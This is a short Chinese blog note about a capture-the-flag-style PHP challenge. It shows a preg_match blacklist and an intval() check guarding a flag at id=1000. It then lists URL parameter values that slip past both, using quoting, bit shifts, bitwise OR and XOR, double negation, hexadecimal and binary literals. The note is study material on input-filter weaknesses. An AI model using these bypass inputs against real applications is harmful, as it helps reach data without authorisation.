SQL注入intval()函数绕过黑名单方法

最新推荐文章于 2024-08-29 20:15:55 发布

Ryuuz4k1

最新推荐文章于 2024-08-29 20:15:55 发布

阅读量1.1k

点赞数 1

分类专栏：笔记文章标签： mysql

本文链接：https://blog.csdn.net/weixin_53498616/article/details/114887234

版权

笔记专栏收录该内容

14 篇文章 1 订阅

订阅专栏

#flag in id=1000
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
	die("id error");
} 
if(intval($id) > 999){
	die("id error");
}

根据黑名单的不同，访问?id=1000有以下几种方法:
?id='1000' //"1000"或(1000)皆可
?id=125<<3 //左移
?id=680|320 //按位或
?id=992^8 //按位异或
?id=~~1000 //两次取反
?id=0x3e8 //十六进制
?id=0b1111101000 //二进制